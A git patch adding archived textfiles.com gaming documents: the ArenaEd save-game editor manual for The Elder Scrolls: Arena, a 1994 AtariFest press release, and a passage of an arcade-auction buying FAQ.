From c632c2c01aa71b9ecfb715cac233c6cdc1276f5d Mon Sep 17 00:00:00 2001 From: OPSXCQ Date: Wed, 27 Dec 2017 09:21:43 -0300 Subject: [PATCH] update --- textfiles.com/games/arenaed.txt | 574 ++ textfiles.com/games/atarishw.txt | 65 + textfiles.com/games/auctions.faq | 389 + textfiles.com/games/avp.txt | 547 ++ textfiles.com/games/aw_solve.txt | 231 + textfiles.com/games/backdoor.txt | 331 + textfiles.com/games/bak-code.txt | 333 + textfiles.com/games/bally.jmp | 428 + textfiles.com/games/bass-sol.txt | 330 + textfiles.com/games/bc_hints | 104 + textfiles.com/games/beavis.fan | 117 + textfiles.com/games/beneth.txt | 147 + textfiles.com/games/blackc.txt | 93 + textfiles.com/games/bloodnet.txt | 184 + textfiles.com/games/byrne.txt | 485 ++ textfiles.com/games/cheat.txt | 131 + textfiles.com/games/cheats.txt | 1572 ++++ textfiles.com/games/chichess.src | 65 + textfiles.com/games/chunli.txt | 720 ++ textfiles.com/games/collisio.txt | 592 ++ textfiles.com/games/design.txt | 372 + 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textfiles.com/groups/CDC/cDc-0156.txt diff --git a/textfiles.com/games/arenaed.txt b/textfiles.com/games/arenaed.txt new file mode 100644 index 00000000..5af89fa1 --- /dev/null +++ b/textfiles.com/games/arenaed.txt @@ -0,0 +1,574 @@ + DISCLAIMER + ---------- +We have made every effort to ensure that ArenaEd functions as +expected and without anomaly. In particular we have gone out of our +way to ensure the integrity of your saved-game files. The bottom +line, however, is that what you see is what you get. Since we cannot +control every possible use to which ArenaEd is put, we must pass the +responsibility for its use on to you. + +WE DISCLAIM ALL WARRANTIES AS TO THIS SOFTWARE, WHETHER EXPRESS OR +IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, FUNCTIONALITY, +DATA INTEGRITY OR PROTECTION. + + +Table Of Contents +----------------- +1. What is ArenaEd? +1.1. Introduction +1.2. Features In Brief +1.3. Special Features +1.3.1. Temporary Stats +1.3.2. Race +1.4. System Requirements +2. Quick Start +3. Up and Running +3.1. Where To Install +3.2. Getting In, Getting Out +3.3. What ArenaEd Will Do When It Runs +3.4. What Can You Edit +3.5. What You Can't Edit +3.6. What To Do After You Edit +4. What You See On Screen +4.1. Menu Bar +4.1.1. Commands for the Menu +4.2. Status Line +4.3. DeskTop +4.4. Save-Game List +4.5. Character Window +4.5.1. Commands for Windows +4.6. Other Windows +4.7. Edit Fields +4.7.1. Commands for Edit Fields +4.8. "Edit ..." Buttons +4.8.1. Commands for Buttons +5. General Good Advice +5.1. Protect Yourself +5.2. Where To Find What You Are Looking For +5.3. Where To Look If You Can't Find It +6. How Does ArenaEd Work? +6.1. Editing The saveengn Files +6.2. Saving Edits: File/Save +6.3. Discarding Edits: File/Reload +6.4. Make A Backup: File/Backup +6.5. Restore From Backup: File/Restore +7. Help in ArenaEd +7.1. Status-line Help +7.2. Help file +8. If Something Goes Wrong +8.1. Get Me Out Of Here! +8.2. Restore Your Backup +9. Hints On Playing Arena +10. About ArenaEd +10.1. Who We Are +10.2. A Few Thoughts On Shareware +10.3. The Difference Between Editing And Cheating +10.4. How To Contact Us +10.5. Respect for Bethesda Softworks (tm) + + +1. What is ArenaEd? +------------------- +1.1. Introduction +----------------- +ArenaEd is a gamer's utility for editing the saved-game files in The +Elder Scrolls: Arena (tm) (version 1.05) from Bethesda Softworks (tm). +ArenaEd is a DOS application that uses a sophisticated, window-based +user interface. + +The interface can be controlled using a mouse or keyboard. + +1.2. Features In Brief +---------------------- +Arena allows the user to have up to ten (10) different save-game +files, each file can save the status of a different character. + +ArenaEd will allow the player to edit all features of each character, +in each of the saved games: race, gender, name, temporary and +permanent attributes, current spell points, current and permanent +health, current fatigue, gold, experience points and level are all +editable. + +1.3. Special Features +--------------------- +1.3.1. Temporary Stats +---------------------- +Although it is not immediately apparent in the game, each character +has two distinct sets of stats (Str, Int, Wil, etc). The first set +of stats is temporary and the second set is permanent. All other +things being equal (i.e. no disease, etc) the temporary stats will be +reset to the equal the permanent stats the next time the character +gains a level. + +Since the temporary stats are reset every once in a while it makes +them a great choice for temporarily giving your character a boost. +Feeling a little overwhelmed by those Minotour? Bump up your Strength +a bit to even the odds. When your character gains the next level +your Strength will be reset and your character will carry on as +before. + +1.3.2. Race +----------- +So you didn't really what to be an Argonian after all? In the game +your only choice is to start a new character. Using ArenaEd you can +change what the fates had in mind for you (at least a little) by +changing your character's Race. The portrait you get is more or less +random but at least you can be the Race you prefer. + +1.4. System Requirements +------------------------ +ArenaEd has been extensively tested on a 486/33 (8 meg RAM) and a 386/25 +(4 meg RAM) under DOS 5.00. It runs nicely in a DOS-box in Windows 3.1 +or from the DOS prompt itself. It neither uses nor requires EMS/XMS but +is fully compatible with popular memory managers (eg. 386MAX and EMM386). + +ArenaEd can be mouse-driven but is fully controllable from the keyboard. +Fully installed, ArenaEd requires about 350k of disk space. + +2. Quick Start +-------------- +To get started quickly, simply run ArenaEd from the DOS prompt. + +If you are not in the right directory ArenaEd will tell you that and +allow you to move to the directory where Arena is installed (see +File/Change Directory). Once there, you are in business. That's all +there is to it. + +3. Up and Running +----------------- +3.1. Where To Install +--------------------- +Generally speaking, your life will be simpler if you install ArenaEd in +the same directory that you have Arena installed. + +While this is not necessary, since you can always change to the Arena +directory from within ArenaEd, it will speed up the editing process +by removing the need to change directory. + +3.2. Getting In, Getting Out +---------------------------- +To start ArenaEd, simply type "ArenaEd" at the DOS prompt. + +To exit ArenaEd, select File/Exit or use the "accelerator" key command +Alt-X. + +3.3. What ArenaEd Will Do When It Runs +-------------------------------------- +When ArenaEd runs it will present a list of the saved-games in the +current directory. When you select a saved-game to edit ArenaEd will +look to see that you have a backup file (if you are editing the third +save-game, saveengn.02, the backup file will be called engn02.bak). +If the backup file exists, ArenaEd will load the save-game file and +you'll be in business. + +If the backup file does not exist, ArenaEd will try to create it. Once +the backup file exists, ArenaEd will be happy and will proceed to load +the save-game file for your editing pleasure. + +3.4. What Can You Edit +---------------------- + +ArenaEd has been designed to give the user maximum control over the +player's character. We've tried to allow the user to edit anything +and everything related to a particular character's stats and +abilities, insofar as it is safe to do so. + +If something isn't in the editor it is simply because (a) we don't +know how to edit it or (b) editing it could corrupt the game. +Whatever we do know how to edit safely we've made editable by you. + +3.5. What You Can't Edit +------------------------ +As powerful as ArenaEd is, it can't do everything. Whatever you see +on the screen during game play is pretty much beyond our control +(i.e. spell effects, weapon types, character portrait, etc). + +One feature that we did not allow edits on is a character's Class. +Since a character's class is integral to the game (determines whether +spells are available, etc) we decided to disallow edits in order to +avoid corrupting the save-game files. + +Spells and weapons are not editable in ArenaEd version 1.0. + +3.6. What To Do After You Edit +------------------------------ +As far as characters in Arena are concerned, the gods work while the +character sleeps. You've probably noticed that most changes that +happen to the characters stats, abilities, etc happen while you +camp. The same is true of changes you make via ArenaEd. To get the +benefit of your edits, we recommend you Camp as soon as you restart +the game after an editing session. Resting for one (1) hour will +usually do it. + +4. What You See On Screen +------------------------- +4.1. Menu Bar +------------- +The line at the top of your screen is the menu bar. + +All features of ArenaEd appear as items on the menu bar or as items on +the drop-down menus that are controlled by the menu bar. + +4.1.1 Commands for the Menu +--------------------------- +The menu can be controlled with the mouse in the usual manner. Left- +click on something to select it, left-click and drag to move the focus. +The usual stuff, nothing fancy. + +The menu system can also be fully controlled from the keyboard: +o F10 moves the focus to the menu bar. +o Alt-? will select a menu bar option where "?" is the highlighted + character on the menu option (eg. Alt-F will drop the File menu, + Alt-W the Window menu, etc). +o Alt-Spacebar will drop the System menu (left-most on the menu bar). +o Arrow keys can be used to move between menu items. +o Enter will select a highlighted menu option. + +4.2. Status Line +---------------- +The line at the bottom of your screen is the status line. + +The purpose of the status line is to show the user the "status" of +ArenaEd. This usually means that it will display a helpful message. + +4.3. DeskTop +------------ +Everything between the menu bar and the status line is the desktop. + +When a window is open it is said to be "on the desktop". If something +is on the desktop the user has control of it and can manipulate it. + +4.4. Save-Game List +------------------- +When ArenaEd begins it will open a window that lists the games you've +saved, as indicated by the text you typed when you saved the game. + +To select the save-game that has the focus (is highlighted) press the +Spacebar. + +Selecting one of your saved games from the list will open a window +that has the character's name in the title: let's call this the +'character' window. + +4.5. Character Window +--------------------- +If you want to edit a particular character, or something related to +that character, then the character window for that character is where +you start. + +The character's name in the title is prefixed by the number of the +saved game file. This prefix is just for informational purposes. + +4.5.1. Commands for Windows +--------------------------- +o Items on the Window menu allow the following window operations: + o Size/Move the current window (Ctrl-F5) + o Cascade all windows + o move to Next window (F6) + o move to Previous window (Shift-F6) + o Close the current window (Alt-F3) +o Tab will move the focus to the next field or button; Shift-Tab will + move back to the previous field. + +4.6. Other Windows +------------------ +ArenaEd organises the details of a character into sub-windows +accessible from the Character window. + +The title of each window fully specifies the "ownership" of the data +within that window. For example, a window entitled +"03:WilliamTheRed/Temporary Stats" contains data relevant to the +temp stats of your character WilliamTheRed as saved in the fourth +save-game on the save-game list. + +4.7. Edit Fields +---------------- +If something is editable from a given window then an edit field will be +available within the window to allow the user to performs the edits. +What the user can do within a given edit field depends on the type of +data the edit field represents. + +When a particular edit field has the focus (is highlighted) the status +line will display a message indicating what form of input is expected in +that field. + +4.7.1. Commands for Edit Fields +------------------------------- +The best advice here is to look at the help text on the status line. +The edit fields are fairly sophisticated and provide a wide range of +options to the user. The help text will detail those options. Here +is a quick summary: + +o Text fields: type the text you want, Del to delete, Backspace to + backspace-and-delete, Home to go to the start of the text, End to go + to the end. +o Number fields: Up-arrow to decrement, Down-arrow to increment, Home + for first valid value in the number's range, End for the last valid + value in the number's range. You can also enter a number from the + keyboard. +o Named fields (eg. race, gender): Up-arrow to go to previous "value", + Down-arrow for next "value", Home for first "value", End for last + "value". + +4.8. "Edit ..." Buttons +----------------------- +As mentioned above, ArenaEd is organized into windows. To move to a +sub-window, select the appropriate "Edit ..." button (left-click or +Spacebar). + +4.8.1. Commands for Buttons +--------------------------- +o Using the mouse: simply left-click on the button. +o Using the keyboard: press the Spacebar to select the button. + +5. General Good Advice +---------------------- +5.1. Protect Yourself +--------------------- +The old saying goes that an ounce of prevention is worth a pound of +cure. In the world of software, a minute of prevention is worth an +eternity of recovery. + +We strongly suggest that you take that minute and copy your +"saveengn.*" and "engn*.bak" files to a safe place, preferably a +diskette that you reserve for just this purpose. The word is that +the sequel to Arena (Daggerfall?) will use characters from Arena so +the backup will doubly useful. + +5.2. Where To Find What You Are Looking For +------------------------------------------- +Everything is in the menus. Step through the menus to see what is +there. + +Try things that look interesting. The editor won't do anything +drastic without warning you first and you will have the option to +cancel. + +5.3. Where To Look If You Can't Find It +--------------------------------------- +If you can't find what you are looking for on the menu, try Help on the +Help menu. You'll get a text window showing this file. Scrolling works +so you can zoom up and down through the file. + +6. How does ArenaEd work? +------------------------ +6.1. Editing The saveengn Files +------------------------------- +ArenaEd does one thing: it edits files called "saveengn.0?". Those +files contain all of the information related to each character's +'numbers' in Arena. Using the editor, you modify the contents of the +saveengn file. The next time you boot the game, you will see the +changes you made. + +Any window that has had edits made in it will have the "unsaved +changes" marker, '!!', in the title. This is a quick visual +indicator that you need to save. + +6.2. Saving Edits: File/Save +---------------------------- +Once you've made your edits, you'll want to save them: select File/Save. +When you save your edits the "saveengn" file is updated (i.e. the changes +are written to disk). + +If you exit ArenaEd without saving your edits they will be discarded and +you won't see them next time you play. + +To be on the safe side ArenaEd will warn you if there are edits +("unsaved changes") that have not been written back to the save-game +file. + +Try a few edits and then select File/Exit. This will pop up the +warning box. Now you know that you can trust ArenaEd to protect you +from accidental loss of your edits. + +6.3. Discarding Edits: File/Reload +---------------------------------- +Sometimes you make edits that you would rather discard: perhaps you +made a mistake, or been a little more generous than you think is +best. + +To discard all the edits you've made since the last time you saved +simply reload the save-game file (File/Reload). This dumps all your +current unsaved changes and gets you back to a "clean" character file. + +6.4. Make A Backup: File/Backup +------------------------------- +ArenaEd will automatically make a backup for you the first time you +start an edit session. If you are editing the second file in the +list, the file you are editing is actually called 'saveengn.01'. The +backup file is called "engn01.bak". The first time you edit +saveengn.01, a backup will be made. Subsequent edits will not +automatically create a backup since the backup already exists. As +mentioned above, we do suggest you copy these files to a diskette and +put the diskette in a safe place. + +If you really want to update your backup file, select File/Backup. +You will be warned that you are going to loose the old backup, but if +that is really what you want to do, carry on. The current saveengn +file, say saveengn.01, will be copied to "engn01.bak" and the old +"engn01.bak" will be lost. + +6.5. Restore From Backup: File/Restore +-------------------------------------- +If you want to restore "saveengn.0?" to what it used to be, File/Restore +will copy "engn0?.bak" to "saveengn.0?". + +The next time you play Arena, you'll see the character stats, +experience, gold, etc, as they were when the backup file was made. + +7. Help in ArenaEd +------------------ +7.1. Status-line Help +--------------------- +The status line is the first place to look for help in ArenaEd. Every +attempt has been made to assist the user by displaying helpful messages +on the status line. + +ArenaEd is context-sensitive and the help text on the status line will +change to reflect the current context. + +7.2. Help file +-------------- +You are reading the help file now. This help file can be displayed from +within the game by selecting Help/Help. + +The Help file window is like any other window: Size/Move, Close, +Cascade, Next, Previous all apply as per 4.5.1. + +The help file itself (arenaed.txt) is a straight text file. This file +can be printed using your favourite print utility. At the very least +you can type "print arenaed.txt" at the DOS prompt. + +8. If Something Goes Wrong +-------------------------- +We really don't think that anything bad will happen using ArenaEd. We +have designed it such that the safety and integrity of the game data +file is of primary importance. Extensive tests have shown that the data +is well protected and that ArenaEd behaves properly. But the unexpected +does happen when you least expect it. + +If -heaven forbid- a game data file (saveengn.0?) has been corrupted +somehow, ArenaEd will detect the invalid data and give the user LOTS of +warnings about it. You can correct the data from ArenaEd on a field by +field basis. If the file is truly corrupted this process can get +annoying. The best option is to bail out of the editor and restore the +backup file. Here's how: + +8.1. Get Me Out Of Here! +------------------------ +Ctrl-Alt-Q means "get me out of here, now!". No saves are done, no +backups, no nothing. This is the only "secret" command in ArenaEd and is +there for emergencies only. Hopefully you'll never need it, but at least +it is there if you do. + +8.2. Restore Your Backup +------------------------ +If the game data has been trashed somehow, your best bet is your +backup file "engn0?.bak". You can select File/Restore from ArenaEd, +or simply copy "engn0?.bak" to "saveengn.0?" at the DOS prompt. Yes, +you'll loose the latest stuff in your game, but this should recover +from the corrupted game data file. + +9. Hints On Playing Arena +------------------------- +We have logged more hours than we can count playing Arena. We like the +game a lot and that is why we wrote this editor. We have learned a few +things along the way. Perhaps some of it will be useful to you. + +o Giving yourself a temporary break is sometimes all you need. Let's +say you're in a real slug-fest and you just want a temporary boost to +get you through the day. Boost your Current Health, Current Fatigue +or Current Spell Points (as appropriate to your character). Health +and Fatigue will be reset next time you sleep, Spell Points will wear +out as you use them up; these boosts are truly temporary. + +o Getting started in a wicked world. Arena can be pretty rough on +the neophyte character. A standard trick we use is to boost our new +character's level to say 2 or 3. This will get you hitting better +and spells will be cheaper to cast. When you've actually earned +those levels (i.e. your experience has reached the appropriate +magnitude) your character will gain levels as normal. Note that there +is a down-side to this technique: you'll loose the benefit of Health +gain that comes with each level gain. + +o Getting ripped off at the local vendors? A judicious increase in +Personality will make the shop owners a lot more reasonable in their +pricing. Barter can be fun - if you have the Personality for it! +You can save a bundle in gold too. + +10. About ArenaEd +----------------- +10.1. Who we are +---------------- +ArenaEd's authors, Trevor Flory and Joe Mooney, are both professional +software designers with a combined total of over 20 years in the +business. ArenaEd is the second in a series of game editors we are +producing. + +10.2. A Few Thoughts On Shareware +--------------------------------- +We think "try before you buy" is good for everyone. We like it +ourselves and we think it is one of the best ways to ensure that the +user get what they pay for. We encourage you to avail yourself of +shareware's advantages: try the software, see if it works for you, +make sure you can trust it to do what it says it will. + +As wonderful as software is, it won't happen if it isn't worthwhile to +do it. If you like ArenaEd, please give serious consideration to +registering. See "Shareware!" on the ArenaEd menu bar for further +details. + +10.3. The Difference Between Editing And Cheating +------------------------------------------------- +If a game does something you don't like, we think you should be able to +change it. We feel that users have the right to edit games because they +paid money for them: the game designer's don't own the game, the user +does. Editing isn't cheating, it is called getting your money's worth. + +10.4. How To Contact Us +----------------------- +The fastest way to get our attention is through CompuServe. Either +of the following will do the job: + + Trevor Flory, CIS: 70711,3712 + Joe Mooney, CIS: 71171,3042 + +If you would like to send us money or simply prefer communicating +via the postal service, our business address is: + + Box 119 - 154 Chadwick Court + North Vancouver, B.C. + CANADA V7M-3K1 + +This information is also available from within ArenaEd: see +"Shareware!" on the ArenaEd menu bar. + +10.5. Respect for Bethesda Softworks (tm) +----------------------------------------- +Bethesda Softworks (tm) has been remarkably attentive to their Arena +customers. They've hung in for 5 upgrade cycles and all the +attending user requests, suggestions, complaints and flames. What +this really means is that they have invested time, money and effort +in keeping you and every other Arena user happy. + +Most companies don't like game editors because a buggy game editor +can make their jobs infinately more difficult. If we have one request +it is that you be up-front with Bethesda about the fact that you have +used a game editor. If you talk to their customer service people +don't 'forget' to mention that you have used an editor. They won't +like hearing that, but at least you will be telling them the truth. + +If fact, to ensure that everyone is happy, reproduce your problem in +a save-game that has NOT been edited. That will ensure that the +problem is really their's and not ours, and it will be respecting +the valiant efforts of their customer service people and their +play-testers. + +For what it is worth, even though we wrote ArenaEd, we would never +even think of calling their customer service department until we had +reproduced any problem we were having in a save-game that had NEVER +been edited, not even a little bit. + + +Th-th-that's all folks. Have fun, play safe, pay as you go. diff --git a/textfiles.com/games/atarishw.txt b/textfiles.com/games/atarishw.txt new file mode 100644 index 00000000..8e9c6790 --- /dev/null +++ b/textfiles.com/games/atarishw.txt @@ -0,0 +1,65 @@ +While Frontier charges for any direct form of commerical advertising, +console trade and non-profit shows are accepted for publication in the +magazine at no cost. If you are organising, or know of any shows along +similar lines to that below, send in your press release/advertisement or +any related information and they will be published in Frontier for a few +months. Here is the first published in Frontier: + + *********************************************************************** + ** O U R F O U R T H A N N U A L S H O W ! ! ! ** + ** /-----------\/------------/ ** + ** / / ** + ** / CT ATARIFEST '94 / ** + ** ,/ / ** + ** ,/ __________/|\___________/ ** + ** /__,/ ** BRIDGEPORT ** ** + ** ** + ** CONNECTICUT ATARIFEST '94 10 am - 5 pm Saturday 8/27/94 ** + ** August 27-28, 1994 at the 10 am - 4 pm Sunday 8/28/94 ** + ** BRIDGEPORT HOLIDAY INN ** + ** Bridgeport, CT Sponsored by ** + ** ACT Atari Group ** + ** (AUGOGH,CCCC,DBUG,FACE,MACH1,STARR & WMAUG) ** + *********************************************************************** + + FOR IMMEDIATE RELEASE + For More Information, Contact + Brian Gockley at (203) 332-1721 + + Pre-Labor Day Atari Event Slated Returns to Bridgeport + + BRIDGEPORT, Conn. (May 25) - The largest East Coast gathering of Atari + computer and video game system users will return to Bridgeport, + Connecticut, on Saturday, August 27 and Sunday, August 28. Connecticut + AtariFest '94 promises a state-of-art exhibition of products and + services for Atari desktop and palmtop computers, video and portable + game systems, software, peripherals and accessories for the fourth + consecutive year. + The event, to be staged at the Bridgeport Holiday Inn in downtown + Bridgeport, is scheduled for 10 a.m. to 5 p.m. on Saturday (Aug. 27) and + 10 a.m. to 4 p.m. on Sunday (Aug. 28). The sponsor is ACT Atari Group, a + network of computer clubs from Bridgeport, Danbury, Hartford, New Haven + and Wethersfield areas, Central Connecticut and Western Massachusetts. + Since its debut in Bridgeport in 1991, the show has attracted thousands + of Atari system owners and onlookers from around the U.S. and Canada. In + 1992 and 1993 the show was held in the Greater Hartford area. + This year, organizers expect consumer attention to focus on the Jaguar, + Atari's 64-bit game system that many industry observers believe + surpasses the technology of Nintendo and Sega, among the most + widely-sold systems in the U.S. CAF '94 features New England's biggest + electronic games competition, as well as bargains on hardware and + software and professional seminars and demonstrations of computer + graphics, desktop publishing, telecommunications, electronic music, home + and business applications, and more. + Admission is $6 for adults, half price for children under 12. Two-day + passes are $10. An all-you-can-eat, buffet dinner on Saturday is + available for an additional charge. The Holiday Inn is located within + two blocks of Interstate 95 (Exit 27), Route 8 (Exit 2), and Amtrak rail + passenger and Long Island ferry terminals. + For more information, contact Angela or Brian Gockley, ACT Atari Group, + 18 Elmwood Avenue, Bridgeport, CT 06605, (203) 332-1721, or Doug Finch + at (203) 637-1034. E-mail the Gockleys at 75300,2514 on Compuserve, + or 75300.2514@compuserve.com@inet# via Internet; Finch via 76337,1067 on + Compuserve, D.FINCH7 on GEnie or 76337.1067@compuserve.com@inet# or + D.FINCH7@genie.geis.com@inet# via Internet. (Consult your on-line + service for proper E-mail protocols.) diff --git a/textfiles.com/games/auctions.faq b/textfiles.com/games/auctions.faq new file mode 100644 index 00000000..0ed681d7 --- /dev/null +++ b/textfiles.com/games/auctions.faq @@ -0,0 +1,389 @@ +--------------------------- +FAQ: BUYING FROM AN AUCTION (Last Updated: March 1, 1993) +--------------------------- + +INTENT AND DISCLAIMERS: +----------------------- + +Copyright 1993 + +The authors (Doug Jefferys and Steve Ozdemir) hereby grant permission +to reproduce and distribute this document for personal use, subject to +the condition that the document (along with any copyright and disclaimer +notices) is not modified in any way. + +The opinions expressed within this document are those of the authors only +and not necessarily those of their respective employers. + +This FAQ was created to assist beginning and established collectors by +providing useful information about dealing with the current owners of +video games. Because this hobby can involve deals that can be in the +$1000s, the reader is advised to use the following information +carefully. + +This FAQ is provided for informational purposes only. Although the +authors have made every effort to provide accurate information, they +cannot guarantee the accuracy or usefulness of any of the information +contained herein due to the complexity of the issues involved. + +The authors take no responsibility for anything arising as a result of +anyone using the information provided in this FAQ, and the reader hereby +absolves the authors of any and all liability arising from any activities +resulting from the use of any information contained herein. + +If you're new to collecting, we advise you to read the "Buying From an +Operator" FAQ before proceeding; it explains in detail many of the jargon +terms you'll encounter in this FAQ. + + + +Q: What goes on at an auction? + +A: An auction consists of two parts: a preview period and a bidding period. + + During the preview period, all the items are available for inspection. + This is to allow the buyers to inspect the merchandise and decide for + themselves what they're willing to pay for it. In the case of video game + auctions, this usually means that you will be allowed to power up the + various games and play-test anything of interest. + + During the bidding period, the auctioneer will offer each game up for sale + and accept bids on it. The auctioneer will first power up the game to + show that it is indeed operational and is worth bidding on. + + The auctioneer (and/or the company who employs the auctioneer) gets a + percentage of all proceeds. Sometimes this percentage is included in + the winning bid or gets paid by the seller of the game, but sometimes + it is added onto the "hammer price", and the buyer is responsible for + paying. Ask the people running the auction before the bidding starts + and keep the answer in mind when bidding... + + Then the fun begins. The auctioneer asks for a starting price (an + "opening bid"). If nobody accepts this bid, he will lower the opening + bid until someone accepts his offer. He will then slowly raise the price + as other customers show interest in the item. As the price rises past + the personal limits of the various bidders, the bidders stop bidding. + The last person to make a bid (i.e. the one willing to pay the most + for the item in question) "wins" the bid and gets the item. Bidding + then proceeds to the next item. + + + +Q: Sounds like fun. How do I find out where an auction is being held? + +A: You can find out about auctions by looking in the Yellow Pages under + "Amusement Machines" and asking the people at the other end of the + lines if there are any upcoming auctions in your area. + + You can also find out about auctions by looking in Replay magazine (the + trade journal for operators). You can order a single copy of Replay + by sending $5.00 to Replay Magazine, PO BOX 2550, Woodland Hills, CA, + 91365. + + + +Q: Okay, I've found an auction. What should I bring with me? + +A: The most important item to bring is an extension cord. Preferably 100' + or more, with multiple plugs. A good solution is a self-dispensing spool + of cord with four outlets in the center. It's lightweight, compact, + portable, and helps to prevent tangled cords. There will likely be over + a hundred games available, and very few of them will be in reach of the + cords dangling from the warehouse ceiling. The warehouse will supply the + power, but it's up to you to get the power to the machine you want. + + Many auctions are held in rented buildings that don't have any dangling + cords -- sometimes they won't even have outlets available. At these + auctions, the only chance you have to see if a game works is when the + people running the auction power it up just before sale. + + The second most important thing to bring is a flashlight. This will + enable you to examine the games for signs of water damage, rough + handling, pirated boards, poorly-performed conversions, banged-up + control panels, and so on. Most warehouses are poorly lit, so a small + flashlight can be invaluable when determining the condition of a machine. + + The third most important thing to bring is cash. At most auctions, there + will be a "bidding deposit" (usually around $200 or so) which you must + have in order to get a bidder number. This is only a deposit, so rest + assured you'll get it back at the end of the auction, even if you don't + buy anything. If you do buy something, the deposit will be credited + toward your purchase. Some auctions will permit the use of credit cards, + provided you pay a surcharge of around 5% for the privilege. As this is + by no means guaranteed at any given, cash is still the preferred way + to go. + + You should also bring some food. Depending on the number of lots offered, + the bidding can take quite a while - sometimes several hours. Make sure + you're equipped to spend a long time standing in a crowded warehouse... + + Bring a pen and paper. Usually there'll be a piece of paper listing all + the lots for sale, but you'll want space to write down phone numbers of + people you meet, descriptions and notes about some of the games you're + interested in, and the winning bid for each game. + + Writing down the winning bid isn't just for your benefit, it's for our + benefit too. Trust us, if you go to an auction, the r.g.v.a. readership + would *love* to hear about it, and they'd also love to see a listing of + winning bids. It'll help all of us keep an eye on the state of the market + across the country. + + Above all else, make sure you've got appropriate transportation. See + the next question for more details. + + + +Q: What was that about transportation? + +A: Okay, remember in that last question when we said that the most important + item to bring was an extension cord? + + We lied. + + The *MOST* important thing is transportation. + + Transportation determines *EVERYTHING* about how you deal with an auction. + The more space you have, the more you can buy. If you can swing it, always + try to have more space than you need. + + When the auction is over, everybody who has bought something has a + fixed amount of time to get their stuff off the premises (sometimes they + have a day, other times they have to get it off by the end of the auction + or a few hours after the end of the auction). + + The closer you are to the auction, the better. The question of whether + or not you are "close" to the auction can be rephrased as "Do you have + enough time between when you buy your last machine and when you have to + remove it from the premises to go home and pick up a trailer to drag the + stuff home?" + + The advantage of being "close" is that you can get a trailer of the + appropriate size for your purchase, and if you haven't bought anything, + then you save yourself the rental charges and the time for the extra + trip. If you're at an auction several hours away from home, however, + you'll have to rent the trailer in advance, and you'll only be able to + buy games for which you have space. + + By and far, a trailer is the cheapest form of transportation, although + pickup trucks and vans will do if you're just starting out and don't + plan to buy much. A trailer costs roughly $20 to rent and $300 to buy, + and is probably the most valuable item a video game collector can own. + + Whatever mode of transportation you're using, make very sure that your + games are well-secured. Video games are extremely heavy creatures, and + the last thing you want is 200 pounds of extra wood, glass, and metal + plowing its way through the windshield (passing through the back of your + head en route) should you have to slam on the brakes. Also remember that + the extra mass of the games can affect the handling of your vehicle; if + you're driving in winter weather conditions, be extremely careful on sharp + turns and allow extra distance when stopping. + + + +Q: Why is everything sold "as-is"? + +A: The main reason auctions are held is to get rid of older equipment. If + the equipment doesn't work, the operator who originally sold the equipment + doesn't want to have to deal with it again - EVER! + + On the other hand, most of the games at an auction will work, and because + of the preview period, you'll probably have an opportunity to examine the + games beforehand to determine any repairs that need to be made. + + This is why the preview period exists. You wouldn't want to buy something + and bring it home, only to find that it's a gutted hulk with the wrong + parts in it. Use the preview period to your advantage; that's what it's + there for. + + Even if there is no preview period, most games will be powered up at + least once before the bidding (by the auctioneer's people) in order to + demonstrate that there's something worth buying in the cabinet. + + + +Q: I'm only after parts. Should I go? + +A: Probably not, although you may meet with other collectors who may prove + to be valuable contacts in the future. + + Auctions rarely have boards, monitors or control panels for sale. These + are usually obtained through other channels such as operators, parts + houses and other collectors. + + The "everything must work" principle combines with the "as-is" principle + to explain why boards and monitors are rarely found at auctions. With + the exception of JAMMA-based boards (which are very easy to test in any + JAMMA-compatible cabinet), it is extremely time-consuming to test a wide + variety of boards. Since an auction is an attempt to sell a large + quantity of merchandise in a short period of time, it follows that + boards and monitors will not be found at auctions. The returns simply + do not justify the time it would take to auction them off. + + + +Q: When should I arrive at the auction? + +A: This depends on your strategy. + + If you're looking for a specific machine (like most beginning collectors), + it pays to arrive early and completely go over the machine(s) that you + will be bidding on. If the specific machine you want isn't there, then + you can go home with only an hour or two of the day wasted. If the + specific machine *IS* there, then you power it up and make sure that you + really want it. If there are multiples of the machine you want, you have + time to play all of them. Decide for yourself what condition the machines + are in and what you'd be willing to pay for each of them. + + Generally, if there are multiple instances of a given machine and the price + is important to you, the second or third machine from the last will be the + cheapest. + + If you're looking to buy a lot of machines at a really good price, arrive + late. By arriving late, you ensure that the crowd has thinned a bit (you + have less competition and the prices are lower). Usually the oldest games + are left for last, so by arriving late, collectors of older games can avoid + having to wait around until the newer (higher-priced) games are sold. + + Also, by the end of the auction, the auctioneer is tired and won't be + trying to squeeze every last penny out of the crowd. Simply put, the + cheap, old games that will sell for less are most likely to be found at + the end of an auction. If you're on a budget (or just like old games), + why go early? + + + +Q: What kinds of games are generally available at auctions? + +A: There will be at most a handful of recent games (i.e. less than two + years old) because the newer games are still making money hand-over-fist + for their operators, and the operators will be loathe to auction off + their best money-makers. There will be a few older games (pre-1985), + but as most of these have already worked their way through multiple + conversions, so don't expect to find them every time. + + As of this writing (early 1993), you can expect to find the following + distribution of games: + + - New games (post-1990) ----------- 5% + - Middle-aged games (1985-1990) --- 75% + - Old games (pre-1985) ------------ 20% + + Of the "old games", only half of them can usually be considered "classics", + so don't be surprised if you go to an auction and find yourself interested + in only three or four games. + + The reason for this distribution is that games from the 1985-1990 era + can still make money in arcades, but they're far enough past their prime + that their original owners are now looking to free up space for newer + and better moneymakers. + + +Q: What factors determine the price of games at an auction? + +A: The price of a given game is determined by the type of people bidding on + the game as well as the rarity of the game in question. + + If the crowd at the auction is composed largely of big operators who don't + think they can make money from your favourite game, then the price will + be lower than the average. + + If the crowd is composed of home consumers -- people who love the game and + don't know its real value -- then the price may go upwards of twice the + game's market value. + + If the crowd is composed of people who know the value of your favourite + game (i.e. medium-sized operators and serious collectors), then you'll + see your game going at market value. + + The more rare the game in question is, the higher a price it will demand. + Expect especially high prices for old, rare games at auctions where the + proportion of home consumers and beginning collectors is high. Expect + astoundingly cheap prices for old, common games at auctions with a high + proportion of distributors in the crowd -- you may be the only person + present who doesn't already own the game! + + + +Q: How rare is my favourite game? + +A: Here are a few rules of thumb that you can use to determine whether or + not your favourite game is rare: + + - If several instances of your game are at an auction, chances are it + isn't very rare. + + - If your game had a huge production run, it probably isn't rare. + + - The older your game is, the more rare it is likely to be. Anything + from the early 1980s, for instance, is likely to be quite rare. + + For example, if you're interested in black-and-white vector games, the + following paragraph may illustrate what we're getting at. + + On one hand, the 